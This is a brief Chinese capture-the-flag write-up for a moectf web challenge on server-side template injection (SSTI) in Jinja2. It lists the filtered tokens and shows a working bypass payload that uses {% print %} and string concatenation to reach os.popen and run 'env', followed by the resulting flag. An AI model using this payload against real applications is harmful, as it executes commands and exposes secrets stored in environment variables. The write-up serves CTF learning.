Web-21｜第二十一章 往生漩涡·言灵死局¶
📖 阅读信息
阅读时间：1 分钟 | 中文字符：86
碎碎念¶
SSTI 2.0
Writeup¶
相比上一道题，这道题 ban 掉了 ["__", "global", "{{", "}}"]，因此上一道题提供的所有都不可行，但是我们可以通过一些手段绕过：
- 对于
{{和}}，可以用{% print() %}代替绕过 - 对于
__和global，可以通过拼接绕过
我使用的是 {% print(lipsum['_''_glo''bals_''_']['os'].popen('env').read()) %}，得到 flag：
最终 flag：moectf{bf38bf3b-96d9-9720-c013-64be1b7cea2b}
💬 评论
评论系统加载中...